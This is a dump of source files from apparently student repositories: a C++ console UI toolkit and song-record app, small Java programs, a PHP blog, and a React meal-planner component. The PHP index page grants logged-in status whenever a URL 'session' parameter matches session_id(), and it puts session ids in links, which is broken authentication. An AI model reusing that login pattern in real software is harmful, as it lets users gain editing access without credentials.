_format; Label.frame(this); } void CMenuItem::draw(int fn) { Label.draw(fn); if(_selected){ // drawing angle brackets console.strdsp(&_format[0], absRow(), absCol(), 1); console.strdsp(&_format[1], absRow(), absCol() + bio::strlen((char*)Label.data()) + 1, 1); }else{ // erasing the brackets on currently selected menuitem console.strdsp(" ", absRow(), absCol(), 1); console.strdsp(" ", absRow(), absCol() + bio::strlen((char*)Label.data()) + 1, 1); } // Positions the cursor at the first character of the Label console.setPos(absRow(), absCol() + 1); } int CMenuItem::edit() { draw(); // when only user hit the SPACE key, angle brackets are re-drawn int key = console.getKey(); if (key == SPACE) { _selected = true; draw(); } return key; } bool CMenuItem::editable()const { return true; } void CMenuItem::set(const void* Selected) { _selected = *(bool*)Selected; } bool CMenuItem::selected()const { return _selected; } void CMenuItem::selected(bool val) { _selected = val; } const char* CMenuItem::Text()const { return (const char*)Label.data(); } }<file_sep>#include "cmenu.h" namespace cui { /* MNode */ MNode::MNode(CMenuItem* item, unsigned int index, MNode* prev, MNode* next = ((MNode*)0)) {} MNode::~MNode(void) {} /* CMenu */ CMenu(const char* Title, const char* Format, int Row, int Col, int Width, int Height, bool dropdown, const char* Border = C_BORDER_CHARS) {} ~CMenu(void) {} CMenu& add(const char* Text, bool selected = false) {} CMenu& operator<<(const char* Text) {} CMenu& operator<<(bool select) {} void draw(int fn = C_FULL_FRAME) {} int edit() {} void set(const void* data) {} int selectedIndex() const {} int selectedIndex(int index) {} const char* selectedText() {} bool editable()const {} } // end namespace cui <file_sep>#pragma once #ifndef __CLINEEDIT_H__ #define __CLINEEDIT_H__ #include "cfield.h" namespace cui{ class CLineEdit: public CField{ bool _dyn; int _maxdatalen; bool* _insertmode; int _curpos; int _offset; public: CLineEdit(char* Str, int Row, int Col, int Width, int Maxdatalen, bool* Insertmode, bool Bordered = false, const char* Border=C_BORDER_CHARS); CLineEdit(int Row, int Col, int Width, int Maxdatalen, bool* Insertmode, bool Bordered = false, const char* Border=C_BORDER_CHARS); ~CLineEdit(); void draw(int Refresh = C_FULL_FRAME); int edit(); bool editable()const; void set(const void* Str); }; } #endif<file_sep><?php //**************************************************************// // The Purpose of this file: // // This is the header file of a blogging application form // // which has html opening tag, head, title, // // and css file name // //**************************************************************// ?> <?php error_reporting(E_ERROR | E_PARSE | E_WARNING) ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title><?php echo $ptitle; ?></title> <style type="text/css"> /* header 1 */ h1{ color: #fa8072; font-weight: bold; text-align: center; vertical-align: middle; } /* body */ body{ width: 1024px; font-size: 10.5pt; background-color: #181818 ; } /* division cell */ div.divmain{ padding: 1px; width: 700px; margin: 0 auto; } /* fieldset */ div.divmain fieldset{ background-color: #ffccff; border-radius: 5px; margin: 5px; padding: 7px; border: 2px #ff1493 solid; } /* legend */ legend.toplabel{ width: 40%; margin-left: 30%; text-align: center; border-radius: 5px; background: #6a5acd; padding: 2px 4px; border: 2px #6a5acd solid; color: #ffffff; font-weight: bold; font-size: 20pt; } div.divmain fieldset legend{ border-radius: 5px; background: #ff1493; padding: 2px 4px; border: 2px #ff1493 solid; color: #ffffff; font-weight: bold; font-size: 10.5pt; } /* table */ table.tableprv{ border: #c0c0c0 2px solid; } td.tdprv{ border: #c0c0c0 2px solid; margin: 20px; color: #696969; font-weight: bold; } td.tdent{ margin: 20px; color: #696969; font-weight: bold; } /* list */ li.lstprv{ list-style-type: none; } li.lstindex{ border: 1px dashed #585858 ; } /* paragraph */ p.pbody{ font-weight: bold; text-align: center; color: #191970; } p.pfooter{ font-weight: bold; text-align: center; color: #FFFFCC; } p.pindex{ text-decoration: underline; margin-left: 25px; font-size: 13pt; font-weight: bold; color: #CC0099; } /* text-align - center */ .alignc{ text-align: center; } /* submit button */ .submitbtn{ display: block; text-align: center; width: 90px; height: 24px; } /* submit button */ .editbtns{ text-align: center; width: 90px; height: 24px; } /* menu */ div#wrapper { width: 1024px; margin-left: 30%; text-align: left; } .menu { text-decoration: none; border-radius: 10px; border: #3366FF 2px solid; background-color: #3366FF ; color: #fafad2; font-weight: bold; text-align: center; } /* width */ .width20{ width: 20%; } .width80{ width: 80%; } .width100{ width: 100px; } .width500{ width: 500px; } /* align */ .alignc{ text-align: center; } </style> </head> <body><file_sep>import java.awt.*; import java.awt.event.*; import javax.swing.*; public class ConversionGui { public static void main(String[] args){ new Conversion(); // execute constructor } } // event is occurred when user enters in the text field class Conversion extends JFrame implements ActionListener{ JPanel panel; JTextField userInput; JLabel text; JLabel text2; JLabel text3; JLabel text4; JLabel text5; // constructor public Conversion(){ // define components panel = new JPanel(); userInput = new JTextField(4); text = new JLabel("in Meter"); text2 = new JLabel(); text2.setHorizontalAlignment (SwingConstants.RIGHT ); text3 = new JLabel("is converted into "); text4 = new JLabel("---"); text5 = new JLabel("in Feet"); // layout Container container = getContentPane(); container.setLayout(new FlowLayout()); // set components into panel container.add(userInput); panel.add(text); panel.add(text2); panel.add(text3); panel.add(text4); panel.add(text5); container.add(panel); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // add listener userInput.addActionListener(this); // set title, size, and visible setTitle("Metric Conversion"); setSize(350, 150); setVisible(true); } // text field event public void actionPerformed(ActionEvent e){ // convert user input Meter into Feet int meter = Integer.parseInt(userInput.getText()); int feet = (int)((meter * 3.2808)); // set values in labels and text field text2.setText(String.valueOf(meter)); text4.setText(String.valueOf(feet)); userInput.setText(""); userInput.setColumns(2); } }<file_sep><?php //**************************************************************// // The Purpose of this file: // // This is the footer file of a blogging application form // // which ends body and html // //**************************************************************// ?> <p class="pfooter"> This page is created on <?php echo date('l jS \of F Y \a\t h:i:s A'); ?> in EST </p> </body> </html><file_sep>#include "console.h" #include "cbutton.h" #include "cchecklist.h" #include "ccheckmark.h" #include "cdialog.h" #include "cfield.h" #include "cframe.h" #include "clabel.h" #include "clineedit.h" #include "cmenu.h" #include "cmenuitem.h" #include "ctext.h" #include "cvaledit.h" #include <iostream> #include <fstream> #include <iomanip> #include <vector> #include <string> using namespace std; using namespace cui; class Song{ public: char name[71]; char artist[71]; char album[71]; char releaseDate[11]; unsigned long genre; unsigned long rating; static int count; Song() // constructor for a new empty record { string newName = "name"; newName += std::to_string(count); string::traits_type::copy(name, newName.c_str(), newName.length()+1); std::strcpy(artist, "artist"); std::strcpy(album, "album"); std::strcpy(releaseDate, "yyyy/mm/dd"); genre = 1; rating = 1; count++; } void set(char* _name, char* _artist, char* _album, char* _releaseDate, unsigned long _genre, unsigned long _rating){ std::strcpy(name, _name); std::strcpy(artist, _artist); std::strcpy(album, _album); std::strcpy(releaseDate, _releaseDate); genre = _genre; rating = _rating; } }; int Song::count = 0; void operator<<(CDialog& D, Song song){ D[1].set(song.name); D[3].set(song.artist); D[5].set(song.album); D[7].set(song.releaseDate); D[14].set(&song.rating);; D[16].set(&song.genre); } void operator<<(Song& song, CDialog& D){ std::strcpy(song.name, (char*)D[1].data()); strcpy(song.artist, (char*)D[3].data()); strcpy(song.album, (char*)D[5].data()); strcpy(song.releaseDate, (char*)D[7].data()); song.rating = *(unsigned long *)D[14].data(); song.genre = *(unsigned long *)D[16].data(); } void save(vector<Song> &song, char* fileName){ fstream outFl(fileName, std::ios::out | std::ios::binary); for (unsigned int i = 0; i < song.size(); i++) { outFl.write(reinterpret_cast<char*>(&song[i]), sizeof(Song)); } outFl.close(); } int main(int argc, char* argv[]) { bool done = false; bool insert = true; vector <Song> songs; Song temp; char fileName[FILENAME_MAX]; //Main screen and menu CDialog Screen; Screen << new CLabel("F2: Prev | F3: Next | F4: First | F5: Last ", 0, 0) << new CLabel("F6: New Record | ESC: Exit", 1, 0); Screen.draw(); if(argc == 2) { bio::strcpy(fileName, "data.bn"); } else { CDialog fileNameLoader(&Screen, 3, 2, 40, 13, true); fileNameLoader << new CLabel("Insert file name", 2, 2) << new CLineEdit(3, 2, 15, 10, &insert, true) << new CButton("Open", 7, 2, true) << new CButton("Cancel", 7, 13, true); done = false; while(!done) { switch(fileNameLoader.edit()) { case C_BUTTON_HIT: strcpy(fileName, (char*)fileNameLoader[1].data()); done = (&fileNameLoader.curField() == &fileNameLoader[2]); break; } } } // open in file std::fstream songFl(fileName, ios::in|ios::out|ios::binary); unsigned int numRecords = 0; unsigned int index = 0; // read and load all records while(songFl.good()) { songFl.read(reinterpret_cast<char*>(&temp), sizeof(Song)); songs.push_back(temp); } numRecords = songs.size(); songFl.close(); CDialog App(&Screen,3, 2, 75, 22, true); CButton save_b("Save", 13, 55 ,true); CButton cancel_b("Cancel", 16, 55 ,true); CButton go_b("Go!", 6, 55 ,true); // Fields CLineEdit name(3, 2, 15, 70, &insert, true); CLineEdit artist(3, 30, 15, 70, &insert, true); CLineEdit album(8, 2, 15, 70, &insert, true); CLineEdit released(8, 30, 15, 10, &insert, true); CCheckList rating("[x]", 13, 2, 15, true); rating.add("A"); rating.add("B"); rating.add("C"); rating.add("D"); rating.add("E"); CCheckList genres("[x]", 13, 30, 15, false); genres.add("Classic"); genres.add("Pop"); genres.add("Club"); CLineEdit jump(3, 55, 6, 10, &insert, true); App << new CLabel("Name:", 2, 2) << name << new CLabel("Artist", 2, 30) << artist << new CLabel("Album", 7, 2) << album << new CLabel("Release Date", 7, 30) << released << new CLabel("Go to:", 2, 55) << jump << go_b << save_b << cancel_b << new CLabel("Rating", 12, 2) << rating << new CLabel("Genre", 12, 30) << genres << songs[0]; done = false; bool sDone = false; while(!done) { if(&App.curField() == &rating) { int key = rating.edit(); //songs[index] << App; //save(songs, fileName); } if(&App.curField() == &genres) { int key = genres.edit(); //songs[index] << App; //save(songs, fileName); } switch(App.edit(0)) { case ESCAPE: if(true) { CDialog quit(&App, 5, 5, 60, 13, true); quit << new CLabel("Quit Options", 2, 2) << new CButton("Save & Quit", 7, 2, true) << new CButton("Quit", 7, 19, true) << new CButton("Cancel", 7, 29, true); while(!sDone) { int key = quit.edit(); if(key == C_BUTTON_HIT) { if(&quit.curField() == &quit[1]) { songs[index] << App; save(songs, fileName); sDone = true; done = true; } else if(&quit.curField() == &quit[2]) { sDone = true; done = true; } else { sDone = true; } } } } break; case F(2): // previous if(index) index--; App << songs[index]; break; case F(3): // next if(index < (songs.size()-1)) index++; App << songs[index]; break; case F(4): // first index = 0; App << songs[0]; break; case F(5): // last index = songs.size()-1; App << songs[index]; break; case C_BUTTON_HIT: if(&App.curField() == &save_b) // save { songs[index] << App; save(songs, fileName); } if(&App.curField() == &cancel_b) // cancel { App << songs[index]; } if(&App.curField() == &go_b) // jump { index = atoi((char*)jump.data()); App << songs[index]; } break; case F(6): // new record Song temp; songs.push_back(temp); index = songs.size()-1; App << songs[index]; break; } } return 0; }<file_sep>#ifndef _FS_CONSOLE_H_ #define _FS_CONSOLE_H_ #include "bconsole.h" namespace cui{ class Console: public bio::BConsole{ static bool _insertMode; public: void strdsp(const char* str, int row, int col, int len = 0, int curPosition = -1); int stredit(char *str, int row, int col, int fieldLength, int maxStrLength, int* strOffset=(int*)0, int* curPosition=(int*)0, bool InTextEditor = false, bool ReadOnly = false, bool& insertMode=_insertMode ); static unsigned int _tabsize; }; Console& operator>>(Console&, int&); Console& operator<<(Console&, char); Console& operator<<(Console&, const char*); extern Console console; // console object - external linkage } #endif<file_sep>#ifndef _FS_CONBIO_H_ #define _FS_CONBIO_H_ namespace bio { /* Virtual Key Codes */ #define TAB '\t' #define BACKSPACE '\b' #define ALARM '\a' #define ESCAPE 27 #define ENTER '\n' #define SPACE ' ' #define HOME 1000 #define UP 1001 #define DOWN 1002 #define LEFT 1003 #define RIGHT 1004 #define END 1005 #define PGDN 1006 #define PGUP 1007 #define DEL 1008 #define INSERT 1009 #define F(n) (1009+(n)) #define UNKNOWN 9999 // BConsole holds the state of the BConsole Input Output Facility // class BConsole { char* buffer; // screen buffer int curRow; // cursor position - current row int curCol; // cursor position - current column int bufrows; // number of rows int bufcols; // number of columns BConsole& operator=(const BConsole&); // prevent assignments BConsole(const BConsole&); // prevent copying void clearBuffer(); // clear the buffer void setBufChar(char c); char getBufChar() const; public: BConsole(); virtual ~BConsole(); char* capture(int row, int col, int height, int width); void restore(int row, int col, int height, int width, char* capbuf); int getRows() const; int getCols() const; void getPos(int& row, int& col) const; void setPos(int r, int c); void clear(); void pause()const; void alarm()const; int getKey()const; // extract a key from console input BConsole& putChar(char); }; //tools unsigned int strlen(const void* str); char* strcpy(void* des, const void* src); char* strncpy(void* des, const void* src, unsigned int len); char* strcat(void* des, const void *src); //end tools } // end namespace bio #endif <file_sep>#ifndef _FS_CONSOLE_H_ #define _FS_CONSOLE_H_ #include "bconsole.h" namespace cui { class Console: public bio::BConsole { private: static bool _insertMode; public: static unsigned int _tabsize; void strdsp(const char* str, int row, int col, int len = 0, int curPosition = -1); int stredit(char *str, int row, int col, int fieldLength, int maxStrLength, int* strOffset = (int*) 0, int* curPosition = (int*) 0, bool InTextEditor = false, bool ReadOnly = false, bool& insertMode = _insertMode); }; Console& operator>>(Console& cn, int& ch); Console& operator<<(Console& cn, const char& ch); Console& operator<<(Console& cn, const char* str); extern Console console; } // namespace cui end #endif <file_sep>#ifndef ___CUIGH_H__ #define ___CUIGH_H__ namespace cui{ #ifndef _CRT_SECURE_NO_DEPRECATE #define _CRT_SECURE_NO_DEPRECATE #endif #ifndef _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #endif #define C_INITIAL_NO_FIELDS 50 #define C_DIALOG_EXPANSION_SIZE 20 #define C_BUTTON_HIT 1 #define C_MAX_LINE_CHARS (1024u) #define C_REFRESH -2 #define C_FULL_FRAME -1 #define C_NO_FRAME 0 #define C_BORDER_CHARS "/-\\|/-\\|" enum CDirection {centre, left, right, up, down}; enum MessageStatus{ClearMessage,SetMessage}; #ifdef NO_HELPFUNC # undef NO_HELPFUNC #endif #define NO_HELPFUNC ((void(*)(MessageStatus, CDialog&))(0)) #ifdef NO_VALDFUNC # undef NO_VALDFUNC #endif #define NO_VALDFUNC ((bool(*)(const char*, CDialog&))(0)) #define C_MAX_LINE_CHARS (1024u) #define C_INITIAL_NUM_OF_LINES (100u) } #endif <file_sep><?php //******************************************************************// // The Purpose of this file: // // This is the file of is to connect database, select/insert // // rows, then execute SQL // //******************************************************************// ?> <?php // call database config info require "ctakata_a3_db.config.php"; // connect database $dbh = new PDO("mysql:host=$database_config_host;dbname=$database_config_database", $database_config_username, $database_config_password); if($from == "publish"){ // when a new blog is inserted from the entry page // add a new post into database: BlogPost $stmt = $dbh -> prepare("insert into `BlogPost` (`title`, `text`, `color`) values(?, ?, ?)"); $stmt -> execute(array($title, $text, $color)); // select the added record to get id $stmt2 = $dbh -> prepare("select * from BlogPost order by id desc limit 1"); $stmt2 -> execute(); } else if($from == "index"){ // from the index page // select the last 10 posts $stmt = $dbh -> prepare("select * from BlogPost order by id desc limit 10"); $stmt -> execute(); } else if($from == "viewpost"){ // from the viewpost page // select data which matches a sent id $stmt = $dbh -> prepare("select * from BlogPost where id = ?"); $stmt -> execute(array($_GET["id"])); }elseif($from == "update"){ // when an existed record is updated from the entry page // add a new post into database: BlogPost $stmt = $dbh -> prepare("update BlogPost set `title` = ?, `text` = ?, `color` = ? where id = ?"); $stmt -> execute(array($title, $text, $color, $id)); // select the added record to get id $stmt2 = $dbh -> prepare("select * from BlogPost where id = ?"); $stmt2 -> execute(array($id)); } else if($from == "login"){ // from the login page $stmt = $dbh -> prepare("select * from user where username = ?"); $stmt -> execute(array($username)); $dbh = null; } ?><file_sep><?php //**************************************************************// // The Purpose of this file: // // This is the index file of a blogging application form // // which displays the last 10 posts // //**************************************************************// ?> <?php session_start(); if($_GET && $_GET['session'] == session_id()){ $_SESSION['isLoggedIn'] = true; } // include the header file $ptitle = "Post Display"; include('ctakata_a3_header.php'); // include the top file include('ctakata_a3_top.php'); // select the last 10 posts from the database called BlogPost $from = "index"; // access database and select/insert blog posts require "ctakata_a3_db.php"; // display the posts $id = 0; ?> <p class="pindex">Click a title to view the details.</p> <ul> <?php foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row) { // convert color code into color name $color = ''; if($row['color'] == 0){ $color = 'red'; } else if($row['color'] == 1){ $color = 'yellow'; } else if($row['color'] == 2){ $color = 'blue'; } ?> <li class="lstprv lstindex" style="color:<?php echo $color; ?>;"> <?php // if user is logged in, Blog ID is shown and it has a link to the entry page if(isset($_SESSION['isLoggedIn'])){ ?> ** Blog ID: <a href="./ctakata_a3_entry.php?id=<?php echo $row['id'] ?>&session=<?php echo session_id(); ?>"><?php print htmlentities($row['id']); ?></a> **<br /> Title: <a href="./ctakata_a3_view_post.php?id=<?php echo $row['id'] ?>&session=<?php echo session_id(); ?>"><?php print htmlentities($row['title']); ?></a><br /> <?php } else { ?> Title: <a href="./ctakata_a3_view_post.php?id=<?php echo $row['id'] ?>"><?php print htmlentities($row['title']); ?></a><br /> <?php } ?> Posting: <br /> <?php print str_replace(' ', ' &nbsp;', nl2br(htmlentities(substr($row["text"], 0, 100)))); if(strlen($row["text"]) > 100){ echo "..."; } ?> <br /><br /> </li> <?php } ?> </ul> <?php // menu buttons ?> <div id="wrapper"> <ul> <li class="lstprv"><a href="../index.html" class="menu">&nbsp;My zenit Account&nbsp;</a> <?php if(isset($_SESSION['isLoggedIn'])){ ?> || <a href="./ctakata_a3_entry.php?session=<?php echo session_id(); ?>" class="menu">&nbsp;New Entry&nbsp;</a> || <a href="./ctakata_a3_index.php?session=<?php echo session_id(); ?>" class="menu">&nbsp;Index&nbsp;</a></li> <?php } else { ?> || <a href="./ctakata_a3_entry.php" class="menu">&nbsp;New Entry&nbsp;</a> || <a href="./ctakata_a3_index.php" class="menu">&nbsp;Index&nbsp;</a></li> <?php } ?> </ul> </div> <?php session_destroy(); $_SESSION['isLoggedIn'] = true; ?> <?php // include the footer file include ('ctakata_a3_footer.php'); ?><file_sep>#include "console.h" namespace cui { bool Console::_insertMode = true; unsigned int Console::_tabsize = 4; void Console::strdsp(const char* str, int row, int col, int len, int curpos) { int i; setPos(row, col); for (i = 0; (i < len || !len ) && str[i]; i++) { putChar(str[i]); } for (; i < len; i++) { putChar(' '); } if (curpos >= 0) { setPos(row, col + curpos); } } int Console::stredit(char *str, int row, int col, int fieldLength, int maxStrLength, int* strOffset, int* curPosition, bool InTextEditor, bool ReadOnly, bool& insertMode) { bool done = false; bool fullLine; int localOffset = 0; int localCurPos = 0; int initOffset = *strOffset; int initCurPosition = *curPosition; int key = 0; int i = 0; int j = 0; char* strBk = new char[bio::strlen(str) + 1]; bio::strcpy(strBk, str); // initial corrections if (strOffset == (int*) 0) { strOffset = &localOffset; } else if (*strOffset > bio::strlen(str)) { *strOffset = bio::strlen(str); } if (curPosition == (int*)0) { curPosition = &localCurPos; } else if (*curPosition >= fieldLength) { *curPosition = fieldLength - 1; } if (*curPosition > bio::strlen(str) - *strOffset) { *curPosition = bio::strlen(str) - *strOffset; } // end - initial corrections do { // Keep the cursor from hitting far left or // far right unless at the begging/end of line // Always allows user to see what backspace/del // will delete. Also means *curPosition can be // used as a sort of atBeginning/atEnd flag. strdsp(str + *strOffset, row, col, fieldLength, *curPosition); if (InTextEditor && *strOffset != initOffset) { key = 0; } else { key = console.getKey(); } switch (key) { // Cursor navigating case LEFT: if (*curPosition) { (*curPosition)--; } else if (*strOffset) { (*strOffset)--; } else { // console.alarm(); bad for your ears } break; case RIGHT: if (*curPosition < fieldLength - 1 && str[*curPosition + *strOffset] != 0) { (*curPosition)++; } else if (*strOffset < fieldLength - 1 && str[*curPosition + *strOffset] != 0) { (*strOffset)++; } else { // console.alarm(); bad for your ears } break; case HOME: *strOffset = *curPosition = 0; break; case END: if (*strOffset + fieldLength < bio::strlen(str)) { *strOffset = bio::strlen(str) - fieldLength + 1; } *curPosition = bio::strlen(str) - *strOffset; break; // Editor commands case INSERT: insertMode = !insertMode; break; case ENTER: if(insertMode && strOffset == 0){ insertMode = false; } //Console::_insertMode = false; done = true; break; if (insertMode && strOffset == 0) { insertMode = false; } done = true; break; case TAB: // If InTextEditor, InsertMode and a tab fits if (InTextEditor && Console::_insertMode && bio::strlen(str) + Console::_tabsize <= maxStrLength) { for (j = 0; j < Console::_tabsize; j++) { for (i = bio::strlen(str); i >= *strOffset + *curPosition; i--) { str[i + 1] = str[i]; } str[*strOffset + *curPosition] = ' '; (*curPosition)++; if (*curPosition == fieldLength) { (*curPosition)--; (*strOffset)++; } } // If InTextEditor, not InsertMode, and a tab fits } else if (InTextEditor && !Console::_insertMode) { // Find out how far back the null needs to be pushed for a // tab to fit in for (j = 0, i = *strOffset + *curPosition; str[i] && j < Console::_tabsize; i++, j++) {} // If current length + (how much we'd need to push back the null) <= maxStrLength if (bio::strlen(str) + Console::_tabsize - j <= maxStrLength) { for (j = 0, i = *strOffset + *curPosition; j < Console::_tabsize; i++, j++) { str[i] = ' '; // Don't let the cursor wander off while moving forward if (*curPosition == fieldLength) { (*strOffset)++; (*curPosition)--; } else { (*curPosition)++; } } } } if (InTextEditor) { break; } // else fallthrough to exit case PGDN: case PGUP: case UP: case DOWN: case F(1): case F(2): case F(3): case F(4): case F(5): case F(6): case F(7): case F(8): case F(9): case F(10): case F(11): case F(12): if (!ReadOnly) { // Terminate and preserve changes done = true; break; } // else fallthrough so we don't modify // a read only string. case 0: // This allows the InTextEditor // abort condition to return 0 case ESCAPE: if (!InTextEditor) { // Terminate and discard changes bio::strcpy(str, strBk); *strOffset = initOffset; *curPosition = initCurPosition; } done = true; break; // Deletions case DEL: if (str[*strOffset + *curPosition]) { // We add one to counterract BACKSPACE // subtracting one. (*curPosition)++; } else { break; } // DO NOT put a break here or move DEL and // BACKSPACE relative to eachother - this // potential fallthrough is intended. case BACKSPACE: if (!*curPosition && *strOffset) { (*strOffset)--; (*curPosition)++; } if (*curPosition) { (*curPosition)--; for (i = 0; str[*strOffset + *curPosition + i]; i++) { str[*strOffset + *curPosition + i] = str[*strOffset + *curPosition + 1 + i]; } } break; // Insertions default: ((bio::strlen(str) == maxStrLength) && (fullLine = true)) || (fullLine = false); if ( (insertMode || str[*strOffset + *curPosition] == 0) && !fullLine && key >= ' ' && key <= '~') { // if in insertmode OR if it's a newline char and there's room for more, // put the char in. The OR part collects cases of not being in insertmode // but still needing to increment the length of the string. for (i = bio::strlen(str); i >= *strOffset + *curPosition; i--) { str[i + 1] = str[i]; } str[*strOffset + *curPosition] = key; (*curPosition)++; // Don't run the cursor out of the edit field if (*curPosition == fieldLength) { (*curPosition)--; (*strOffset)++; } } else if (!insertMode && str[*strOffset + *curPosition]) { // If we're in replace mode and on a non-null; str[*strOffset + *curPosition] = key; (*curPosition)++; } break; } } while (!done); delete[] strBk; return key; } Console& operator>>(Console& cn, int& ch) { ch = cn.getKey(); return cn; } Console& operator<<(Console& cn, const char& ch) { cn.putChar(ch); return cn; } Console& operator<<(Console& cn, const char* str) { int i; for (i = 0; str[i]; i++) { cn << str[i]; } return cn; } Console console; } // namespace cui end <file_sep>import java.util.Scanner; public class Array { public static void main(String [] agrgs) { // declare variables int num[] = new int[5]; // array to store five integers // create Scanner Scanner input = new Scanner(System.in); // Display a message and let the user input 5 integers for(int i = 0; i < 5; i++){ if(i == 0){ System.out.print("Please enter " + (i + 1) + "st integer: "); // prompt } else if(i == 1){ System.out.print("Please enter " + (i + 1) + "nd integer: "); // prompt } else{ System.out.print("Please enter " + (i + 1) + "th integer: "); // prompt } num[i] = input.nextInt(); // read user input input.nextLine(); } // display all the 5 user input numbers System.out.println("You entered: "); for(int i = 0; i < 5; i++){ if(num[i] >= 10 && num[i] <= 100){ if(i == 0){ System.out.println(num[i]); } else { if(num[i] != num[i - 1]){ System.out.println(num[i]); } } } } } // end of main } // end of class<file_sep>#include "cvaledit.h" #include "console.h" namespace cui { CValEdit::CValEdit(char* Str, int Row, int Col, int Width, int Maxdatalen, bool* Insertmode, bool (*Validate)(const char* , CDialog&), void (*Help)(MessageStatus, CDialog&), bool Bordered, const char* Border) : CLineEdit(Str, Row, Col, Width, Maxdatalen, Insertmode, Bordered, Border) {} CValEdit::CValEdit(int Row, int Col, int Width, int Maxdatalen, bool* Insertmode, bool (*Validate)(const char* , CDialog&), void (*Help)(MessageStatus, CDialog&), bool Bordered, const char* Border) : CLineEdit(Row, Col, Width, Maxdatalen, Insertmode, Bordered, Border) {} int CValEdit::edit() { int exitKey; if (this->container()) { if (_help) { _help(MessageStatus::SetMessage, *(this->container())); } exitKey = CLineEdit::edit(); if (_validate && (exitKey == UP || exitKey == DOWN || exitKey == TAB || exitKey == ENTER)) { while (!_validate((char*)this->_data, *(this->container())) ) { exitKey = CLineEdit::edit(); } } if (_help) { _help(MessageStatus::ClearMessage, *(this->container())); } } else { exitKey = CLineEdit::edit(); } return exitKey; } } // end namespace cui
4251c6adb1830a70039c59f591a8e8247ac34a7b
[ "SQL", "JavaScript", "Markdown", "Java", "PHP", "C++", "Shell" ]
38
C++
chisat/Portfolio
31238341f34b9cb390181a925f65304bdd732df3
a6887f4bee3b5e07506f14a762e49cd4e6d92ad6
refs/heads/master
<repo_name>octopus833/meals<file_sep>/README.md create a file called .env, then in the file, put the following info REACT_APP_API_ID="" REACT_APP_APP_KEY=""<file_sep>/src/components/App.js import React, { Component } from 'react' import {connect} from "react-redux" import {addRecipe, removeFromCalendar} from '../actions' import {capitalize} from '../utils/helpers' import CalendarIcon from 'react-icons/lib/fa/calendar-plus-o' import Modal from 'react-modal' import ArrowRightIcon from 'react-icons/lib/fa/arrow-circle-right' import Loading from 'react-loading' import { fetchRecipes } from '../utils/api' import FoodList from './FoodList' import ShoppingList from './ShoppingList' class App extends Component { constructor(props){ super(props) this.state={ foodModalOpen:false, meal:null, day:null, food:null, loadingFood:false, ingredientsModalOpen: false } } componentWillMount() { Modal.setAppElement('body'); } openFoodModal = ({meal, day}) => { this.setState(()=>({ foodModalOpen: true, meal, day })) } closeFoodModal = () => { this.setState(()=>({ foodModalOpen: false, meal:null, day:null })) } searchFood = (e) => { if (!this.input.value){ return } e.preventDefault() this.setState(()=>({ loadingFood:true })) fetchRecipes(this.input.value).then((food)=>{ this.setState(()=>({food, loadingFood:false})) }) } openIngredientsModal = () => this.setState({ingredientsModalOpen: true}) closeIngredientsModal = () => this.setState({ingredientsModalOpen: false}) generateShoppingList = () => { return this.props.calendar.reduce((result, {meals})=>{ const {breakfast, lunch, dinner} = meals console.log("meals", meals) breakfast && result.push(breakfast) lunch && result.push(lunch) dinner && result.push(dinner) return result }, []) .reduce((final, {ingredientLines})=>final.concat(ingredientLines), []) } render() { const {foodModalOpen, loadingFood, food, ingredientsModalOpen} = this.state const {calendar, removeFromCalendar, addRecipe} = this.props console.log("calendar", calendar) const mealOrder = ['breakfast', 'lunch', 'dinner'] return ( <div className='container'> <div className='nav'> <h1 className='header'>Meals</h1> <button className='ShoppingList' onClick={this.openIngredientsModal} > Shopping List </button> </div> <ul className='meal-types'> {mealOrder.map((mealType) => ( <li key={mealType} className='subheader'> {capitalize(mealType)} </li> ))} </ul> <div className='calendar'> <div className='days'> {calendar.map(({ day }) => <h3 key={day} className='subheader'>{capitalize(day)}</h3>)} </div> <div className='icon-grid'> {calendar.map(({day, meals})=>( <ul key={day}> {mealOrder.map((meal)=>( <li key={meal} className='meal'> {meals[meal]? <div className='food-item'> <img src={meals[meal].image} alt={meals[meal].label}/> <button onClick={()=>removeFromCalendar({meal, day})}>Clear</button> </div> : <button onClick={()=>this.openFoodModal({meal, day})} className='icon-btn'> <CalendarIcon size={30} /> </button> } </li> ))} </ul> ))} </div> </div> <Modal className='modal' overlayClassName='overlay' isOpen={foodModalOpen} onRequestClose={this.closeFoodModal} contentLabel='Modal' > <div> {loadingFood === true ? <Loading delay={200} type='spin' color='#222' className='loading' /> :<div> <h3 className='subheader'> Find a meal for {capitalize(this.state.day)} {this.state.meal}. </h3> <div className='search'> <input className='food-input' type='text' placeholder='Search Food' ref={(input)=>this.input=input} /> <button className='icon-btn' onClick={this.searchFood}> <ArrowRightIcon size={30}/> </button> </div> {food !== null && ( <FoodList food={food} onSelect={(recipe)=>{ addRecipe({recipe, day: this.state.day, meal: this.state.meal}) this.closeFoodModal() }}/>) } </div>} </div> </Modal> <Modal className='modal' overlayClassName='overlay' isOpen={ingredientsModalOpen} onRequestClose={this.closeIngredientsModal} contentLabel='Modal' > {ingredientsModalOpen && <ShoppingList list={this.generateShoppingList()} />} </Modal> </div>) } } const mapStateToProps = ({food, calendar}) => { const days = ["monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday"] return { calendar : days.map((day)=>({ day, meals : Object.keys(calendar[day]).reduce((meals, meal) => { meals[meal] = calendar[day][meal] ? food[calendar[day][meal]] : null return meals }, {}) })) } } const mapDispatchToProps = (dispatch) => { return { addRecipe: (data) => dispatch(addRecipe(data)), removeFromCalendar: (data) => dispatch(removeFromCalendar(data)) } } // We established previously that there is no way to directly interact with the store. // We can either retrieve data by obtaining its current state, or change its state by // dispatching an action (we only have access to the top and bottom component of the redux // flow diagram shown previously). // This is precisely what connect does. Consider this piece of code, which uses connect // to map the stores state and dispatch to the props of a component export default connect(mapStateToProps, mapDispatchToProps)(App)
05f0e4475f60326382df050aab7bd2fa35cb085c
[ "Markdown", "JavaScript" ]
2
Markdown
octopus833/meals
b5831af1792a6c19d29ca03288feeb9b76cf25e3
ca3470068d736eff36a3623c4cbe9f2b1edaf335
refs/heads/master
